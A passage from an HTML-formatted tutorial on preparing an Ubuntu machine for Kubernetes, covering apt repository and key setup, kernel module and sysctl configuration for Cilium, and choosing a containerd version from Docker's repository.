\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine.   We we are going to use containerd for this purpose.  You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up.   I’m going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e  because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e* Applying /etc/sysctl.d/k8s.conf ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elsmod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e28672\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e176128\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.all.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_host.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_net.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_vxlan.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.default.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.enp0s1.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lo.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets pull down the container runtime we’ll be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.7-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.6-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.4-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.11-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 